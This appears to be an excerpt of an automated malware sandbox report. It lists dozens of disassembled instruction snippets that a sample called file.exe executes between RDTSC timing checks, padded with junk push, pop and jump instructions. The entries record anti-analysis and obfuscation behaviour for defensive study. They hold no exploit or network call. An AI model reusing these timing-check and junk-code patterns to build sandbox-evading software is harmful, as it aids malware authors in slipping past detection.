Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F1EB second address: D0F1F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jnc 00007FB97CFE9216h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F5EA second address: D0F5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F5EE second address: D0F5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF2AA second address: CBF2B0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF2B0 second address: CBF2F2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB97CFE9218h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FB97CFE9218h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov di, bx 0x0000002a push 00000004h 0x0000002c xor dword ptr [ebp+122D24D9h], edx 0x00000032 nop 0x00000033 push ecx 0x00000034 push eax 0x00000035 push edx 0x00000036 jnl 00007FB97CFE9216h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F877 second address: D0F87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F87D second address: D0F8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB97CFE9216h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d jmp 00007FB97CFE921Ah 0x00000012 pop ebx 0x00000013 push eax 0x00000014 jmp 00007FB97CFE921Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FB97CFE921Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F8B3 second address: D0F8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D101FC second address: D10218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB97CFE9226h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10218 second address: D1021C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1021C second address: D10220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10220 second address: D10231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB97CFF0156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13B0F second address: D13B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13DD1 second address: D13DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007FB97CFF0160h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13F6A second address: D13F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13F6F second address: D13F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13F74 second address: D13F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13F7C second address: D13F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFF0162h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13F9D second address: D13FB5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB97CFE921Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007FB97CFE9216h 0x00000010 jbe 00007FB97CFE921Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16F0B second address: D16F15 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB97CFF015Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DAFC second address: D1DB01 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DDDA second address: D1DDED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF015Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DDED second address: D1DE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFE9228h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DE09 second address: D1DE2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FB97CFF0156h 0x00000010 jmp 00007FB97CFF0162h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E0E4 second address: D1E0ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E3F3 second address: D1E3F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E3F7 second address: D1E407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FB97CFE9216h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E70A second address: D1E70F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E70F second address: D1E714 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E714 second address: D1E71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E71A second address: D1E73B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jnc 00007FB97CFE9216h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jp 00007FB97CFE923Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007FB97CFE9216h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F01F second address: D1F027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F027 second address: D1F04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB97CFE9228h 0x0000000b popad 0x0000000c pop esi 0x0000000d pushad 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F610 second address: D1F614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F614 second address: D1F631 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FB97CFE9221h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F631 second address: D1F636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F8E4 second address: D1F8F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE921Dh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F8F6 second address: D1F8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24515 second address: D24526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jnl 00007FB97CFE9216h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2836B second address: D28371 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28371 second address: D28376 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27682 second address: D27686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29B26 second address: D29B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB97CFE9216h 0x0000000a jmp 00007FB97CFE921Eh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29B3F second address: D29B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF015Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29B55 second address: D29B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D312EC second address: D312F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB97CFF0156h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D312F8 second address: D3131A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FB97CFE9218h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d ja 00007FB97CFE922Ch 0x00000013 pushad 0x00000014 jnp 00007FB97CFE9216h 0x0000001a jng 00007FB97CFE9216h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31759 second address: D31765 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31765 second address: D317A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jg 00007FB97CFE922Ah 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31926 second address: D3192C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3192C second address: D31936 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB97CFE9216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31936 second address: D31956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB97CFF0167h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31956 second address: D3195C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31D65 second address: D31D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31D6A second address: D31D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB97CFE9216h 0x0000000a jo 00007FB97CFE9216h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32166 second address: D3216B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3216B second address: D32173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32173 second address: D32177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32177 second address: D3219A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFE9228h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30E2B second address: D30E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FB97CFF015Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30E3D second address: D30E5B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB97CFE9229h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D384FB second address: D3850E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FB97CFF015Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3850E second address: D38514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38514 second address: D38539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FB97CFF0167h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38539 second address: D3854E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB97CFE9221h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3886A second address: D3886E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3886E second address: D38894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FB97CFE9234h 0x0000000c jmp 00007FB97CFE9228h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38894 second address: D3889C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3889C second address: D388A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB97CFE9216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D478B9 second address: D478BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47406 second address: D47427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9227h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47427 second address: D4742D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4742D second address: D47449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FB97CFE9216h 0x0000000c popad 0x0000000d jmp 00007FB97CFE921Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D475B0 second address: D475BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007FB97CFF0156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B9DE second address: D4B9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B9E3 second address: D4B9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB97CFF0165h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B9FC second address: D4BA02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B590 second address: D4B594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B594 second address: D4B5C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9228h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d popad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jg 00007FB97CFE9216h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B5C0 second address: D4B5C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D593ED second address: D59407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFE9222h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C27D second address: D5C288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FB97CFF0156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C288 second address: D5C28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D643F9 second address: D643FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63011 second address: D63027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007FB97CFE9221h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63125 second address: D63129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63129 second address: D6315E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB97CFE9216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d js 00007FB97CFE9216h 0x00000013 pop eax 0x00000014 jl 00007FB97CFE9235h 0x0000001a jmp 00007FB97CFE9229h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6346B second address: D63470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63470 second address: D6347C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB97CFE921Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D635EC second address: D635F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63792 second address: D6379E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6412F second address: D64135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64135 second address: D6417A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB97CFE9216h 0x00000008 jmp 00007FB97CFE9228h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FB97CFE921Fh 0x00000017 jl 00007FB97CFE9218h 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 jne 00007FB97CFE9216h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76CBB second address: D76CC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D866AF second address: D866B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D866B4 second address: D866C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB97CFF015Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D866C4 second address: D866C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8625F second address: D86263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96101 second address: D96117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE921Ch 0x00000007 jo 00007FB97CFE9216h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D963E4 second address: D963E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D963E8 second address: D963EE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96552 second address: D96558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
